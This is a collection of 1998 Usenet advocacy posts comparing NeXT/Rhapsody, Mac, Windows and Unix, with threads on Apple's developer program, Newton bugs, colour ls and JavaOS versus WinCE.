HA!!! Their only defense was to cite the same 4 big league developers
that they quoted in their original disingenous press release.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: "FJ van Wingerde" <fj@medg.lcs.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 7 Apr 98 15:22:10 +0000
Organization: Harvard University University Information Systems
Message-ID: <B14FF528-545E2A@134.174.31.187>
References: <6gc1g6$irv$0@207.212.27.88>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.harvard.edu/comp.sys.next.advocacy
On Tue, Apr 7, 1998 2:02 AM, Charlie Root <mailto:root@127.0.0.1> wrote:
>On 31 Mar 1998 20:06:01 -0700, Lawson English <english@primenet.com>
wrote:
>>I rather suspect taht Apple shot itself in the foot with this. Expect a
>>rather LARGE group of former Apple customers bringing a class-action
>>lawsuit against Apple over the -16601(?) bug since Apple knew about the
bug
>>and was encouraging everyone to buy the product even as they made plans
to
>>kill the product-line without fixing the known bug.
>As a Newton Message Pad 2100 owner and one who has never experienced
>this bug (which you have misidentified),
Then you are very lucky. comp.sys.newton.misc is full of people
frustrated by it. That you do not see it doesn't mean other people
do not get it.
And yeah, it is no big secret that all the Newton people have left or
are in other jobs inside Apple.
FJ!!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 6 Apr 1998 19:22:23 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6gbo3f$55q$1@crib.bevc.blacksburg.va.us>
References: <6e6jl3$csu$3@ns3.vrx.net> <3525C014.1597@nstar.net> <6g5d2o$sao$1@crib.bevc.blacksburg.va.us> <35293623.24BC@nstar.net>
Xcanpos: shelf.1/199804210201!0033074175
In article <35293623.24BC@nstar.net>, mjpeck@nstar.net wrote:
> Nathan Urban wrote:
> > > color-ls on a mono screen at least gives bold.
> > Do you know of _any_ commercial Unix vendor that has shipped a color 'ls'?
> > I think they mostly think of it as gratuitous (and ugly) eye-candy, not
> > suitable for serious use.
> Well, that's definitely the touchstone, then. When vendors call a
> feature 'gratuitous', that's usually a sign they've done their homework.
Agreed. It takes some skill to ship a well-configured system.
> > I know _I_ never use it, even on systems that
> > have it; it makes things more confusing and harder on the eyes for me.
> > (One of the primary reasons I like NEXTSTEP: they know about simplicity
> > and aesthetics in visual design.) color 'ls' has all the eye-pleasing
> > aesthetics of a man's abdomen torn open by a hand grenade.
> That's really too bad. More stimulatory info = bad.
Yes, it often is. (Amazing that you keep making my points for me.)
color 'ls' is just plain _disorienting_.
> I suppose it's one thing if you don't like having a television tuner or
> web channel on your background, like Active Desktop. Then I hear
> "aesthetics" and I start to agree. But this sort of trash-talk is
> perfect sour grapes. You say it's not useful to be able to change the
> colors on your directory listings to help indicate that "this is a
> directory, this is a regular file, this has execute permissions, this
> has..." whatever? Maybe you have really small directories.
That's precisely why I have 'ls' aliased to 'ls -F', as I mentioned
previously but you ignored.
> Or maybe you've just got a double-standard going. You don't seem to have
> an objection to TrueColor 64x64 icons in the browser...
No, I don't. I like them. The issues are not at all the same. Color
'ls' is bad mostly because it has too many colors. If it was basically
just one color for directories, one for files, then it wouldn't be so
bad (but still hard on my eyes, I read text most easily when it's plain
black-on-white). But there are too many hues from which to extract
information. I find it easier to parse symbols. You may differ.
Maybe you think that there isn't sufficient contrast. But color 'ls'
is IMHO gratuitous (and in fact confusing) eye-candy, just like those
web pages with hideous backgrounds and blinking multi-colored text.
Most Unix vendors seem to agree, since they don't ship a color 'ls'
even though it's an easy thing to do on those systems whose terminals
support it.
With icons, a single color is not the primary disambiguating factor.
The entire image taken as a whole is.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 10 Apr 1998 04:01:42 GMT
Organization: Digital Fix Development
Message-ID: <6gk5j6$6j5$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <joe.ragosta-0804982250580001@wil62.dol.net> <ericb-0904981631110001@132.236.171.104> <6gje5e$q8g$1@news.digifix.com> <6gju2g$82k@netaxs.com>
In-Reply-To: <6gju2g$82k@netaxs.com>
On 04/09/98, Matthew T. Russotto wrote:
>In article <6gje5e$q8g$1@news.digifix.com>,
>Scott Anguish <sanguish@digifix.com> wrote:
>
>} There has been a number of posts to Rhapsody-talk, and the
>}Lyris rhapsody list by developers who don't understand what all the
>}whining is about.
>
>That would be the "We got ours, to hell with the rest of you"
syndrome.
I think its more likely the 'we understand that it costs money
to get stuff' syndrome.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 21:27:49 -0700
Organization: Office of Academic Computing, UC Irvine
Message-ID: <atlauren-0904982127500001@dialin33466.slip.uci.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>
_3;X4o1Yg^$]=Oc\u
In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>Then why does the article "single-out" that it was Windows-specific. It left
>the impression that maybe a "filesystem" peculiarity of Windows might have
>tricked their back-up software, unbeknownst to them.
More than likely,the business school is a Windows-oriented environment -
most Bschools are. If that's the case (I say "if", I haven't the foggiest
idea), then its possible that the Mac and UNIX users weren't supported on
the servers in question. No fault of Windows in general, but a FUBAR
backup/restore process.
-Andrew
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
From: steve@discoverysoft.com (Steven Fisher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:37:21 -0700
Organization: Discovery Software Ltd.
Message-ID: <steve-0904981537210001@oranoco.discoverysoft.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <ericb-0904981710010001@132.236.171.104> <6gjeeh$qdm$1@news.digifix.com>
In article <6gjeeh$qdm$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
>On 04/09/98, Eric Bennett wrote:
>>In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com
>(Scott
>>Anguish) wrote:
>>
>>> The Online program is free. It gets you the samples, and
>the
>>> manuals.
>>
>>I love the spin on calling this a new program, since all this stuff
>was
>>available before.
>>
>
> Really? You could just download CodeWarrior Lite?
Yes.
http://www.metrowerks.com/lite/
--
Steven Fisher; Discovery Software Ltd.; steve@discoverysoft.com
"Anyone who has never made a mistake has never tried anything new."
-- Albert Einstein
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 7 Apr 1998 15:41:54 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6ge378$11s04@odie.mcleod.net>
References: <6gbl4j$a821@odie.mcleod.net> <B14F0F85-C8C9@206.165.43.177>
Lawson English wrote in message ...
>Michelle L. Buck <buck.erik@mcleod.net> said:
>
>> The following code adds a method to the NSImage class that enables all
>> images, tiff, gif, eps, whatever to be composited clipped to the outline
>of
>> some arbitrary text in the current font. Text along a path, rotations,
>> different composite modes, etc are obvious and left as an exercise for
>the
>> reader.
>> Now, was that so hard ? A complete test application is available if
>enough
>> people ask for it.
>
>Of course, you have to keep changing the current font, but you guys dont
>care about such issues because DPS is purrrrfect.
>
>
>
Oh come on, if it were important, the NSImage class could be subclassed to
add an instance variable for the font rather than just using the current
font. The entire operation could have been performed with NSBezierPath
instead of the little Postscript wrap.
The AppKit is a very powerful system. The pervasive object orientation in
Yellow Box provides developers with the most productive and powerful
environment ever conceived. GX retained graphics may be better suited to
some problems. Smalltalk shells have their merits. Lisp machines can be
useful. Even Cobol has a place, though you didn't hear it from me. Yellow
Box is a better solution to practically any problem. Obviously, special
solutions are sometimes needed and Yellow Box does not yet cure cancer.
I demand that certain ignorant frequent contributors to this forum at least
check the facts and try Yellow Box before claiming that this that or the
other thing can not be done.
From: "macghod" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Apple developer program
Date: 7 Apr 1998 20:58:06 GMT
Message-ID: <01bc445f$744397e0$1bf0bfa8@davidsul>
WTF is up with the apple developer program? I see a big announcement, and
all it is is:
1st level: online stuff, just as it is now, ie NO CHANGE
2nd level: instead of costing $250 a year its now $500 a year??!?!??
As far as I can tell it adds nothing and is a 2x increase!! Why to support
development apple :)
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 10 Apr 1998 04:55:52 GMT
Organization: @Home Network
Message-ID: <6gk8oo$fd5$3@ha2.rdc1.sdca.home.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu>
<6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com>
<6gjsdv$fd5$2@ha2.rdc1.sdca.home.com> <atlauren-0904982127500001@dialin33466.slip.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: atlauren@uci.edu
In <atlauren-0904982127500001@dialin33466.slip.uci.edu> Andrew Laurence wrote:
> In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> >Then why does the article "single-out" that it was Windows-specific. It
left
> >the impression that maybe a "filesystem" peculiarity of Windows might have
> >tricked their back-up software, unbeknownst to them.
>
> More than likely,the business school is a Windows-oriented environment -
> most Bschools are. If that's the case (I say "if", I haven't the foggiest
> idea), then its possible that the Mac and UNIX users weren't supported on
> the servers in question. No fault of Windows in general, but a FUBAR
> backup/restore process.
>
>
If the server in question didn't support Mac + Unix then I have a problem with
SanJose Mercury News. From the seat of Silicon Valley these people should be
expected to "know better". Packaging the story in a Mac/Unix/Windows context
when the circumstances were Windows only, discredits the platform unjustly.
In that case, neither Mac nor Unix had a thing to do with the data loss story
what-so-ever.
-r
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 23:13:30 -0600
Organization: XMission Internet (801 539 0900)
Message-ID: <6gk9pq$pdi$1@xmission.xmission.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <joe.ragosta-0904980140070001@wil68.dol.net>
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
: The surprising thing is that they actually came right out and said that
: Mac users were exempt from the problems.
: Just one more example that where Microsoft wants you to go today may not
: be where _you_ want to go.
How do you know that the reason Macs were "exempt" was due to Microsoft?
That doesn't mean Macs are somehow superior to Wintel, it just means they
weren't backed up to the PC network tape drive and/or files stored on the
same servers. Maybe next week the U. of U. will have a crash that only
affects Macs, and the Wintel guys will have their laugh on you. I'm sure
there are network adminstrators on Mac networks that are equally
incompetent as the ones that screwed up Stanford's network.
...........kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu>
Newsgroups: comp.sys.next.software,comp.sys.next.advocacy
Subject: Re: Rhapsody Computer Telephony S/W H/W?
Date: Fri, 10 Apr 1998 00:28:25 -0500
Organization: Illinois State University
Message-ID: <352DADF8.22A3D71A@rs6000.cmp.ilstu.edu>
References: <352CFBB1.AB56B3C6@amind.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
To: weeleng@amind.com
Koo wrote:
> I am searching for Rhapsody/Yellow Box Computer Telephony software,
> hardware.
> Any pointer?
Check out http://enterprise.apple.com/Alliances/Partners/SPListings.html
There are a couple possibilities there for related solutions...
Eric
--
Eric A. Dubiel; http://www.ilstu.edu/~eadubie
"In the New Day That's Coming - FREEDOM
FOR ALL - Is Our Destiny, Yeah!" -- Robert Miles
<robert-miles@msn.com>, 23am, Freedom
VIEWS EXPRESSED ARE ENTIRELY MY OWN
From: rmcassid@uci.edu
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 23:59:27 -0700
Organization: University of California, Irvine
Message-ID: <rmcassid-0904982359270001@dante.eng.uci.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com> <6gjr16$rfe$1@halcyon.com> <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>
In article <6gjsdv$fd5$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>In <6gjr16$rfe$1@halcyon.com> Tim Smith wrote:
>> Rex Riley <rr6013@yahoo.com> wrote:
>> >Yeah, sucks doesn't it that if you are a Windows user you have to go
>> >through all that extra backup procedure. For hapless Stanford BSchool
>>
>> It's the exact same procedure you use on a Mac or on Unix.
>Then why does the article "single-out" that it was Windows-specific. It left
>the impression that maybe a "filesystem" peculiarity of Windows might have
>tricked their back-up software, unbeknownst to them.
Maybe one reporter decided to stick it to MS a bit. The rest of the
industry has to take it's fair share of rotten journalism, maybe yesterday
was 'shit on Windows' day at the Merc...
I can't say that I like poor journalism, but I really do sometimes. How's
that for a quote...
-Bob Cassidy
From: root@127.0.0.1 (Charlie Root)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 7 Apr 1998 02:02:46 GMT
Organization: Center for Space Research
Message-ID: <6gc1g6$irv$0@207.212.27.88>
References: <rmcassid-3103981323260001@dante.eng.uci.edu> <B146FE35-2EBF2@206.165.43.7>
On 31 Mar 1998 20:06:01 -0700, Lawson English <english@primenet.com> wrote:
>rmcassid@uci.edu said:
>
>> And what would be better to improve those relations:
>> NewtonOS and a confused future for Apple handhelds, or a MacOS based
>> handheld designed by the people that made the Newton.
>
>
>Most of the designers of the Newton are already gone. The ones that are
>left apparently can't fix the known bugs in the OS, or so the rumor goes.
Ahh yes, good ol' Lawson and his little red rumor wagon.
>I rather suspect taht Apple shot itself in the foot with this. Expect a
>rather LARGE group of former Apple customers bringing a class-action
>lawsuit against Apple over the -16601(?) bug since Apple knew about the bug
>and was encouraging everyone to buy the product even as they made plans to
>kill the product-line without fixing the known bug.
You are a raving lunatic, sir. The FUD you spread to satisfy your
own personal vendetta against Apple is amusing. I pity you and your
miserable existance.. all bark and no bite.
As a Newton Message Pad 2100 owner and one who has never experienced
this bug (which you have misidentified), your information is severely
lacking facts and credibility. However, that's nothing new here.
>Apparently it is a BAD bug.
"Apparently".
--
.....charlie root.....
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 22:58:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14F0F85-C8C9@206.165.43.177>
References: <6gbl4j$a821@odie.mcleod.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Michelle L. Buck <buck.erik@mcleod.net> said:
> The following code adds a method to the NSImage class that enables all
> images, tiff, gif, eps, whatever to be composited clipped to the outline
of
> some arbitrary text in the current font. Text along a path, rotations,
> different composite modes, etc are obvious and left as an exercise for
the
> reader.
> Now, was that so hard ? A complete test application is available if
enough
> people ask for it.
Of course, you have to keep changing the current font, but you guys dont
care about such issues because DPS is purrrrfect.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 22:59:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14F0FE7-DFD7@206.165.43.177>
References: <6gbp07$5jg$1@uuneo.neosoft.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Robert B. Love <rlove@antispam.neosoft.com> said:
> In <B14DD7A6-66A11@206.165.43.142> "Lawson English" wrote:
>
> > Jef Raskin, Father of the Macintosh, had an article that discussed this
> > very point. His take is that taking two different GUIs targetted at two
> > different audiences and trying to "merge the best of both" will likely
> > produce the worst of both instead.
>
> Hm, in the Wired "100 Ways to Save Apple" article he is quoted as
> saying to throw out the Mac User Interface all together.
He has his own ideas about what the "next big thing" should be. I haven't
seen a working prototype, so unless he has another PARC to send us to,
we'll have to assume that he's got something worthwhile, based on past
history.
[hey, it works for Jobs...]
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 23:02:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14F1092-10826@206.165.43.177>
References: <6gbker$517$1@interport.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
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float@interport.net said:
> switch between the keyboard and the mouse very often. Since I like to
> type with two hands, I am very fond of hot keys. Pretty much the only
> thing I like about Windows is the keyboard navigability.
>
> : Keyboards aren't useful for a lot of tasks as compared to the mouse.
>
> My experience is different.
>
So's mine, but if you actually let someone videotape you and compare your
actions to those that you do with a mouse, you'll find that there are often
unconscious pauses between keyboard commands unless you are doing a
memorized sequence of commands.
What is fun is that you won't notice the pauses via your internal
time-sense so you will swear up and down that you don't do them.
Often, researchers have found that the mouse is faster even though the
subject swears that the keyboard is faster.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 6 Apr 1998 23:00:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B14F1006-E717@206.165.43.177>
References: <6gbv67$frq$0@207.212.27.88>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.os.linux.advocacy
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
Charlie Root <root@127.0.0.1> said:
> >I refer you to Mark Twain...
>
> Mark Twain is dead.
That's just a rumor.
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Mon, 06 Apr 1998 23:38:25 -0800
Message-ID: <see-below-0604982338260001@209.24.240.118>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com> <trev-0504982024220001@nas-sa-p5.usc.net>
In article <trev-0504982024220001@nas-sa-p5.usc.net>, trev@sc.edu (Trevor
Zion Bauknight) wrote:
> In article <6g923i$h2l$1@nnrp1.dejanews.com>, spagiola@usa.net wrote:
>
> > sal@panix3.panix.com (Salvatore Denaro) wrote:
> > > > Point taken; NS was Jobs' second GUI OS (and I must say, far
> > > > better than the first).
True, but the Macintosh was intended to run from a 400k floppy disk in 64K
of memory (upped to 128K very late in development) on a 9" black-and-white
monitor by people relatively unfamiliar with computers. It had entirely
different design goals from the Next OS, which was designed for
development work (among other things) on workstation-class hardware.
> > > And Rhapsody is going to be the third.
> >
> > True. But that doesn't mean it'll necessarily be better. Whereas with the
> > second (ie NeXTSTEP), they were able to start with a blank slate and come up
> > with the best UI they could, in the case of the third they are very much
>
> Well, some of the things they did differently in NeXTSTEP were done
> differently from Apple primarily to avoid stepping on Apple's toes in this
> regard. At the time, Apple was still fighting for its "look and feel" in
> court with Microsoft (which had no such qualms as NeXT in ripping off
> Apple.)
Actually, "at the time" (1985-1988) Apple hadn't even begun to sue
Microsoft over the look and feel of Windows, because Windows 3.0 (the
first version that was even remotely Mac-like) wouldn't even ship for
another two years. But I think you may be right that there were some
limitations on what Next could do that might have been too similar to the
Macintosh.
> I don't know who it was, but someone with NeXT made this point.
> I dare say the UI will be far superior to any other UI on the planet in
> short order. Here, they're combining the best aspects of the traditional,
> familiar Mac UI with the best aspects of the NeXT UI...these two companies
> have been responsible for what today are arguably the two best GUIs there
> have ever been, and they're distilling them into one. I don't see how it
> *can't* be better.
I can certainly imagine combining two good things into something worse
than either, but I hope that between Next and Apple, they have the taste
and the talent to avoid such a fate...
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: G.C.Th.Wierda@AWT.nl (Gerben Wierda)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Tue, 7 Apr 1998 07:37:24 GMT
Organization: Adviesraad voor het Wetenschaps- en Technologiebeleid
Sender: news@AWT.NL
Message-ID: <Er196C.6IE@AWT.NL>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6g01p5$ed9$1@news.cs.tu-berlin.de> <6g6jrc$9j9$1@news.cs.tu-berlin.de> <6g909g$3cl$1@quasar.
Charles Swiger <chuck-nospam@blacksmith.com> wrote:
>Well, RTF documents generated on a NeXT interoperate pretty well with PC
>users. There is a difference between the NeXT standard encoding and the
>ISO-Latin-1 for the high-bit characters, but it's usually not a big problem.
Not in English, but in many other languages it is a nuisance. Luckily one can
take CedarWord, load the RTF in NeXT-encoding and write it in ANSI encoding.
---
Gerben Wierda,
Stafmedewerker Adviesraad voor het Wetenschaps- en Technologiebeleid.
Staff member Advisory Council for Science and Technology Policy
Javastraat 42, 2585 AP, Den Haag/The Hague, The Netherlands
Tel (+31) 70 3639922 Fax (+31) 70 3608992
http://www.AWT.nl/prive/wierda/
The fox knows many things, but the hedgehog knows one big thing.
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 7 Apr 1998 05:30:17 GMT
Organization: @Home Network
Message-ID: <6gcdl9$lk6$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94>
<rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com>
<rmcassid-0304981014240001@dante.eng.uci.edu> <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>
<rmcassid-0404981112000001@dialin9040.slip.uci.edu> <6g6mf7$4d1$1@ha2.rdc1.sdca.home.com>
<rmcassid-0604980945430001@dante.eng.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rmcassid@uci.edu
In <rmcassid-0604980945430001@dante.eng.uci.edu> rmcassid@uci.edu
wrote:
> In article <6g6mf7$4d1$1@ha2.rdc1.sdca.home.com>,
> rexr@cx54440-a.dt1.sdca.home.com wrote:
> [snip Apple education PDA]
>
> >Neither of my kids would be interested in an E-mate (4 & 17
> >years) but hey, they're different.
>
> They aren't supposed to be interested in it (to the degree that they
could
> generate a sale). Their teachers are.
>
Ahh... man, I don't even want to go there. OK, you win that one.
> [snip WinCE shoving JavaOS out of the marketplace]
>
> >JavaPDA is somewhat under-estimated, IMHO. JavaPDA is the
> >mirror-image of a QTwireless, strategy. Java will "own" the
> >_communications layer_ between "smart" devices. You're
> >correct that Java doesn't require JavaOS to talk Java between
> >devices. WinCE in the BIGPICTURE is just not that
> >significant "volume" wise. PDA wise I don't think WinCE has
> >the market won. JavaOS in the palm of your hand is everybit
> >the threat to WinCE precisely because of the threat WinCE is
> >to the rest of the computing industry.
>
> I don't think it works that way, in spite of what we may want. WinCE
might
> be perceived *collectively* as a threat, but not individually. And it
is
> the work of the individual devloper that matters here - what makes or
> breaks products like an OS. There are many (very many) people willing
to
> state that Windows is the worst thing to happen to the computer
industry,
> yet when they go to work in the morning they have little guilt that
their
> paycheck is due to them writing Windows apps or doing Windows
consulting.
> When it's time to get paid, the _collective_ falls apart.
>
>
You've given me words to ponder and a re-framed premise which I admit
holds truth. In fact, I see what you have been talking about - WinCE.
"WinXX" pays the bills and hauls the freight. How shallow of me to
think that all that wireless Java code would "roll" right past WinXX
downstream as Java+Java interprocesses gained.
> JavaOS must be championed and therefore pushed by individual
developers or
> marketed and pulled by groups of users. I don't see either happening
right
> now.
>
Actually, the facts bear witness to nothing other than a bunch of
licensing agreements. So other than a single IBM+Sun partnership
moving forward on JavaOS for Business, I haven't much to backup my
"collective" assertion.
> JavaOS might be a great thing, but so far nobody knows it.
>
I haven't implied this... my portrayal of WinCE as a "weak" excuse for
handheldOS, yes. JavaOS is great, no. I haven't meant to imply this
at all. I personally know that Java and by association JavaOS is quite
sometime "down the road" before they will be "robust" competitors.
I believe that there exists a transition - you may disagree,
fundamentally. I encourage every opportunity to strengthen "bridges"
to a next platform. I discourage firming-up old architectures to build
an uncertain future. ( it is someone other than MS that came up with
Java isn't it?)
>
> I agree that
> Java as communication layer might be it's best role and the key to
broader
> success, and that too we shall know with time.
>
> >Where MS is extending an existing product advantage into a
> >new market, JavaOS is pulling that market into "streams" of
> >richer opportunities and funtionalities. Poetic as that
> >sounds, I believe it means WinCE is a "preJava" product that
> >will begin to show its heritage.
>
> I don't see the streams coming together yet. I'm not behind the
scenes at
> all yet so all I hear still are promises and agreements - which we've
> heard before. It's not to say the effort won't be made, I'm just not
> convinced that Java works in all the places that Sun and the industry
> wants it to. I didn't believe (along with others here) that YB worked
in
> all the ways csna stated it could, and I've been happily proven
wrong. So
> I'll wait and watch. It's never been a very good idea to bet against
MS,
> though. Once they dig in, it's damn hard to move them.
>
>
<Heels Down><Dig="HARD">
Well, I concede most of this thread tonight but not the final
conclusion. You might have this last point on historical grounds.
Afterall, History is on your side. Nothing I present will dissolve
your shield of Historical Accuracy. But philosphically, I part ways
